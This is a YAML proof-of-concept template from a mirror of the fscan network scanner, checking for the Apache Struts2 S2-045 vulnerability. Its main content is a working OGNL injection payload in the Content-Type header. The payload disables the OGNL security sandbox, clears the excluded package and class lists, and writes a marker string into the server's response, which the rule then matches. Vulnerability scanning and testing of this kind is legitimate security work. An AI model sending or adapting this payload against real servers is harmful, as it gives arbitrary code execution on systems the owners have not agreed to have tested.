mirror of https://github.com/qwqdanchun/fscan.git
13 lines
960 B
YAML
13 lines
960 B
YAML
name: poc-yaml-struts2_045-2
|
|
rules:
|
|
- method: GET
|
|
path: /
|
|
headers:
|
|
Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}"
|
|
follow_redirects: true
|
|
expression: |
|
|
response.body.bcontains(b"struts2_security_check")
|
|
detail:
|
|
author: shadown1ng(https://github.com/shadown1ng)
|
|
|